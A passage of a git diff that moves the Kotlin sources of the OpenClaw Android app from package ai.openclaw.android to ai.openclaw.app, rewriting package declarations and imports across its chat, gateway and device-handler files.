kotlinx.coroutines.flow.StateFlow class MainViewModel(app: Application) : AndroidViewModel(app) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/NodeApp.kt b/apps/android/app/src/main/java/ai/openclaw/app/NodeApp.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/NodeApp.kt rename to apps/android/app/src/main/java/ai/openclaw/app/NodeApp.kt index ab5e159cf47..0d172a8abe7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/NodeApp.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/NodeApp.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Application import android.os.StrictMode diff --git a/apps/android/app/src/main/java/ai/openclaw/android/NodeForegroundService.kt b/apps/android/app/src/main/java/ai/openclaw/app/NodeForegroundService.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/NodeForegroundService.kt rename to apps/android/app/src/main/java/ai/openclaw/app/NodeForegroundService.kt index a6a79dc9c4a..684849b3e86 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/NodeForegroundService.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/NodeForegroundService.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Notification import android.app.NotificationChannel @@ -163,7 +163,7 @@ class NodeForegroundService : Service() { private const val CHANNEL_ID = "connection" private const val NOTIFICATION_ID = 1 - private const val ACTION_STOP = "ai.openclaw.android.action.STOP" + private const val ACTION_STOP = "ai.openclaw.app.action.STOP" fun start(context: Context) { val intent = Intent(context, NodeForegroundService::class.java) diff --git a/apps/android/app/src/main/java/ai/openclaw/android/NodeRuntime.kt b/apps/android/app/src/main/java/ai/openclaw/app/NodeRuntime.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/NodeRuntime.kt rename to apps/android/app/src/main/java/ai/openclaw/app/NodeRuntime.kt index bcd58a808b7..263a80fc076 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/NodeRuntime.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/NodeRuntime.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.Manifest import android.content.Context @@ -6,22 +6,22 @@ import android.content.pm.PackageManager import android.os.SystemClock import android.util.Log import androidx.core.content.ContextCompat -import ai.openclaw.android.chat.ChatController -import ai.openclaw.android.chat.ChatMessage -import ai.openclaw.android.chat.ChatPendingToolCall -import ai.openclaw.android.chat.ChatSessionEntry -import ai.openclaw.android.chat.OutgoingAttachment -import ai.openclaw.android.gateway.DeviceAuthStore -import ai.openclaw.android.gateway.DeviceIdentityStore -import ai.openclaw.android.gateway.GatewayDiscovery -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.gateway.GatewaySession -import ai.openclaw.android.gateway.probeGatewayTlsFingerprint -import ai.openclaw.android.node.* -import ai.openclaw.android.protocol.OpenClawCanvasA2UIAction -import ai.openclaw.android.voice.MicCaptureManager -import ai.openclaw.android.voice.TalkModeManager -import ai.openclaw.android.voice.VoiceConversationEntry +import ai.openclaw.app.chat.ChatController +import ai.openclaw.app.chat.ChatMessage +import ai.openclaw.app.chat.ChatPendingToolCall +import ai.openclaw.app.chat.ChatSessionEntry +import ai.openclaw.app.chat.OutgoingAttachment +import ai.openclaw.app.gateway.DeviceAuthStore +import ai.openclaw.app.gateway.DeviceIdentityStore +import ai.openclaw.app.gateway.GatewayDiscovery +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewaySession +import ai.openclaw.app.gateway.probeGatewayTlsFingerprint +import ai.openclaw.app.node.* +import ai.openclaw.app.protocol.OpenClawCanvasA2UIAction +import ai.openclaw.app.voice.MicCaptureManager +import ai.openclaw.app.voice.TalkModeManager +import ai.openclaw.app.voice.VoiceConversationEntry import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Job diff --git a/apps/android/app/src/main/java/ai/openclaw/android/PermissionRequester.kt b/apps/android/app/src/main/java/ai/openclaw/app/PermissionRequester.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/PermissionRequester.kt rename to apps/android/app/src/main/java/ai/openclaw/app/PermissionRequester.kt index 0ee267b5588..3cc8919c52e 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/PermissionRequester.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/PermissionRequester.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.content.pm.PackageManager import android.content.Intent diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ScreenCaptureRequester.kt b/apps/android/app/src/main/java/ai/openclaw/app/ScreenCaptureRequester.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ScreenCaptureRequester.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ScreenCaptureRequester.kt index c215103b54d..77711f27ca7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ScreenCaptureRequester.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ScreenCaptureRequester.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Activity import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/SecurePrefs.kt b/apps/android/app/src/main/java/ai/openclaw/app/SecurePrefs.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/SecurePrefs.kt rename to apps/android/app/src/main/java/ai/openclaw/app/SecurePrefs.kt index a907fdf01d4..cc996cf65d8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/SecurePrefs.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/SecurePrefs.kt @@ -1,6 +1,6 @@ @file:Suppress("DEPRECATION") -package ai.openclaw.android +package ai.openclaw.app import android.content.Context import android.content.SharedPreferences diff --git a/apps/android/app/src/main/java/ai/openclaw/android/SessionKey.kt b/apps/android/app/src/main/java/ai/openclaw/app/SessionKey.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/SessionKey.kt rename to apps/android/app/src/main/java/ai/openclaw/app/SessionKey.kt index 8148a17029e..3719ec11bb9 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/SessionKey.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/SessionKey.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app internal fun normalizeMainKey(raw: String?): String { val trimmed = raw?.trim() diff --git a/apps/android/app/src/main/java/ai/openclaw/android/VoiceWakeMode.kt b/apps/android/app/src/main/java/ai/openclaw/app/VoiceWakeMode.kt similarity index 91% rename from apps/android/app/src/main/java/ai/openclaw/android/VoiceWakeMode.kt rename to apps/android/app/src/main/java/ai/openclaw/app/VoiceWakeMode.kt index 75c2fe34468..ea236f3306c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/VoiceWakeMode.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/VoiceWakeMode.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app enum class VoiceWakeMode(val rawValue: String) { Off("off"), diff --git a/apps/android/app/src/main/java/ai/openclaw/android/WakeWords.kt b/apps/android/app/src/main/java/ai/openclaw/app/WakeWords.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/WakeWords.kt rename to apps/android/app/src/main/java/ai/openclaw/app/WakeWords.kt index b64cb1dd749..7bd3ca13cde 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/WakeWords.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/WakeWords.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app object WakeWords { const val maxWords: Int = 32 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatController.kt b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatController.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/chat/ChatController.kt rename to apps/android/app/src/main/java/ai/openclaw/app/chat/ChatController.kt index a8009f80400..be430480fb0 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatController.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatController.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.chat +package ai.openclaw.app.chat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.util.UUID import java.util.concurrent.ConcurrentHashMap import kotlinx.coroutines.CoroutineScope diff --git a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatModels.kt b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatModels.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/chat/ChatModels.kt rename to apps/android/app/src/main/java/ai/openclaw/app/chat/ChatModels.kt index dd17a8c1ae5..f6d08c535c5 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatModels.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatModels.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.chat +package ai.openclaw.app.chat data class ChatMessage( val id: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/BonjourEscapes.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/BonjourEscapes.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/BonjourEscapes.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/BonjourEscapes.kt index 1606df79ec6..2fa0befbb5c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/BonjourEscapes.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/BonjourEscapes.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway object BonjourEscapes { fun decode(input: String): String { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthPayload.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthPayload.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthPayload.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthPayload.kt index 9fecaa03b55..f556341e10a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthPayload.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthPayload.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway internal object DeviceAuthPayload { fun buildV3( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthStore.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthStore.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthStore.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthStore.kt index 8ace62e087c..d1ac63a90ff 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthStore.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthStore.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway -import ai.openclaw.android.SecurePrefs +import ai.openclaw.app.SecurePrefs interface DeviceAuthTokenStore { fun loadToken(deviceId: String, role: String): String? diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceIdentityStore.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceIdentityStore.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceIdentityStore.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceIdentityStore.kt index 68830772f9a..1e226382031 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceIdentityStore.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceIdentityStore.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.content.Context import android.util.Base64 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayDiscovery.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayDiscovery.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayDiscovery.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayDiscovery.kt index 2ad8ec0cb19..f83af46cc65 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayDiscovery.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayDiscovery.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.content.Context import android.net.ConnectivityManager diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayEndpoint.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayEndpoint.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayEndpoint.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayEndpoint.kt index 9a301060282..0903ddaa93f 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayEndpoint.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayEndpoint.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway data class GatewayEndpoint( val stableId: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayProtocol.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayProtocol.kt similarity index 52% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayProtocol.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayProtocol.kt index da8fa4c6933..27b4566ac93 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayProtocol.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayProtocol.kt @@ -1,3 +1,3 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway const val GATEWAY_PROTOCOL_VERSION = 3 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewaySession.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewaySession.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewaySession.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewaySession.kt index 6f30f072ef8..aee47eaada8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewaySession.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewaySession.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.util.Log import java.util.Locale diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayTls.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayTls.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayTls.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayTls.kt index 0726c94fc97..20e71cc364a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayTls.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayTls.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.annotation.SuppressLint import kotlinx.coroutines.Dispatchers diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/InvokeErrorParser.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/InvokeErrorParser.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/InvokeErrorParser.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/InvokeErrorParser.kt index 7242f4a5533..dae516a901c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/InvokeErrorParser.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/InvokeErrorParser.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway data class ParsedInvokeError( val code: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/A2UIHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/A2UIHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/A2UIHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/A2UIHandler.kt index 4e7ee32b996..1938cf308dd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/A2UIHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/A2UIHandler.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.delay import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonArray diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/AppUpdateHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/AppUpdateHandler.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/node/AppUpdateHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/AppUpdateHandler.kt index e54c846c0fb..f314d3330dc 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/AppUpdateHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/AppUpdateHandler.kt @@ -1,12 +1,12 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.app.PendingIntent import android.content.Context import android.content.Intent -import ai.openclaw.android.InstallResultReceiver -import ai.openclaw.android.MainActivity -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.InstallResultReceiver +import ai.openclaw.app.MainActivity +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewaySession import java.io.File import java.net.URI import java.security.MessageDigest diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CalendarHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CalendarHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CalendarHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CalendarHandler.kt index 357aed3b297..63563919e18 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CalendarHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CalendarHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.ContentResolver @@ -7,7 +7,7 @@ import android.content.ContentValues import android.content.Context import android.provider.CalendarContract import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.time.Instant import java.time.temporal.ChronoUnit import java.util.TimeZone diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraCaptureManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraCaptureManager.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CameraCaptureManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CameraCaptureManager.kt index 67241ef2ef7..a942c0baa70 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraCaptureManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraCaptureManager.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.annotation.SuppressLint @@ -28,7 +28,7 @@ import androidx.camera.video.VideoRecordEvent import androidx.core.content.ContextCompat import androidx.core.content.ContextCompat.checkSelfPermission import androidx.core.graphics.scale -import ai.openclaw.android.PermissionRequester +import ai.openclaw.app.PermissionRequester import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.suspendCancellableCoroutine import kotlinx.coroutines.withTimeout diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraHandler.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CameraHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CameraHandler.kt index 0ee22849a62..3e7881f2625 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CameraHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CameraHandler.kt @@ -1,9 +1,9 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.CameraHudKind -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.CameraHudKind +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.flow.MutableStateFlow import kotlinx.coroutines.withContext diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/CanvasController.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/CanvasController.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/CanvasController.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/CanvasController.kt index a051bb91c3b..9efb2a924d7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/CanvasController.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/CanvasController.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.graphics.Bitmap import android.graphics.Canvas @@ -20,7 +20,7 @@ import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonElement import kotlinx.serialization.json.JsonObject import kotlinx.serialization.json.JsonPrimitive -import ai.openclaw.android.BuildConfig +import ai.openclaw.app.BuildConfig import kotlin.coroutines.resume class CanvasController { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ConnectionManager.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ConnectionManager.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ConnectionManager.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ConnectionManager.kt index 021c5fe2ce6..d1593f4829a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ConnectionManager.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ConnectionManager.kt @@ -1,14 +1,14 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.os.Build -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.SecurePrefs -import ai.openclaw.android.gateway.GatewayClientInfo -import ai.openclaw.android.gateway.GatewayConnectOptions -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.gateway.GatewayTlsParams -import ai.openclaw.android.LocationMode -import ai.openclaw.android.VoiceWakeMode +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.SecurePrefs +import ai.openclaw.app.gateway.GatewayClientInfo +import ai.openclaw.app.gateway.GatewayConnectOptions +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewayTlsParams +import ai.openclaw.app.LocationMode +import ai.openclaw.app.VoiceWakeMode class ConnectionManager( private val prefs: SecurePrefs, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/ContactsHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/ContactsHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/ContactsHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/ContactsHandler.kt index 2f706b7a6b2..f203b044a7c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/ContactsHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/ContactsHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.content.ContentProviderOperation @@ -7,7 +7,7 @@ import android.content.ContentValues import android.content.Context import android.provider.ContactsContract import androidx.core.content.ContextCompat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.Json import kotlinx.serialization.json.JsonArray import kotlinx.serialization.json.JsonObject diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/DebugHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/DebugHandler.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/node/DebugHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/DebugHandler.kt index 2b0fc04e437..283d898b4f3 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/DebugHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/DebugHandler.kt @@ -1,9 +1,9 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.content.Context -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.gateway.DeviceIdentityStore -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.gateway.DeviceIdentityStore +import ai.openclaw.app.gateway.GatewaySession import kotlinx.serialization.json.JsonPrimitive class DebugHandler( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceHandler.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/DeviceHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/DeviceHandler.kt index 4c7045b4608..a19890285a8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceHandler.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.Manifest import android.app.ActivityManager @@ -15,8 +15,8 @@ import android.os.PowerManager import android.os.StatFs import android.os.SystemClock import androidx.core.content.ContextCompat -import ai.openclaw.android.BuildConfig -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.BuildConfig +import ai.openclaw.app.gateway.GatewaySession import java.util.Locale import kotlinx.serialization.json.JsonPrimitive import kotlinx.serialization.json.buildJsonArray diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceNotificationListenerService.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceNotificationListenerService.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/node/DeviceNotificationListenerService.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/DeviceNotificationListenerService.kt index 30522b6d755..1e9dc0408f6 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/DeviceNotificationListenerService.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/DeviceNotificationListenerService.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node import android.app.Notification import android.app.NotificationManager diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/GatewayEventHandler.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/GatewayEventHandler.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/node/GatewayEventHandler.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/GatewayEventHandler.kt index 9c0514d8635..ebfd01b9253 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/GatewayEventHandler.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/GatewayEventHandler.kt @@ -1,7 +1,7 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.SecurePrefs -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.SecurePrefs +import ai.openclaw.app.gateway.GatewaySession import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Job import kotlinx.coroutines.delay diff --git a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeCommandRegistry.kt b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeCommandRegistry.kt similarity index 89% rename from apps/android/app/src/main/java/ai/openclaw/android/node/InvokeCommandRegistry.kt rename to apps/android/app/src/main/java/ai/openclaw/app/node/InvokeCommandRegistry.kt index b8ec77bfca9..9f7ee1a890a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/node/InvokeCommandRegistry.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/node/InvokeCommandRegistry.kt @@ -1,19 +1,19 @@ -package ai.openclaw.android.node +package ai.openclaw.app.node -import ai.openclaw.android.protocol.OpenClawCalendarCommand -import ai.openclaw.android.protocol.OpenClawCanvasA2UICommand -import ai.openclaw.android.protocol.OpenClawCanvasCommand -import ai.openclaw.android.protocol.OpenClawCameraCommand -import ai.openclaw.android.protocol.OpenClawCapability -import ai.openclaw.android.protocol.OpenClawContactsCommand -import ai.openclaw.android.protocol.OpenClawDeviceCommand -import ai.openclaw.android.protocol.OpenClawLocationCommand -import ai.openclaw.android.protocol.OpenClawMotionCommand -import ai.openclaw.android.protocol.OpenClawNotificationsCommand -import ai.openclaw.android.protocol.OpenClawPhotosCommand -import ai.openclaw.android.protocol.OpenClawScreenCommand -import ai.openclaw.android.protocol.OpenClawSmsCommand -import ai.openclaw.android.protocol.OpenClawSystemCommand +import ai.openclaw.app.protocol.OpenClawCalendarCommand +import ai.openclaw.app.protocol.OpenClawCanvasA2UICommand +import ai.openclaw.app.protocol.OpenClawCanvasCommand +import ai.openclaw.app.protocol.OpenClawCameraCommand +import ai.openclaw.app.protocol.OpenClawCapability +import ai.openclaw.app.protocol.OpenClawContactsCommand +import ai.openclaw.app.protocol.OpenClawDeviceCommand +import ai.openclaw.app.protocol.OpenClawLocationCommand +import ai.openclaw.app.protocol.OpenClawMotionCommand +import ai.openclaw.app.protocol.OpenClawNotificationsCommand +import ai.openclaw.app.protocol.OpenClawPhotosCommand +import ai.openclaw.app.protocol.OpenClawScreenCommand +import ai.openclaw.app.protocol.OpenClawSmsCommand +import ai.openclaw.app.protocol.OpenClawSystemCommand data class 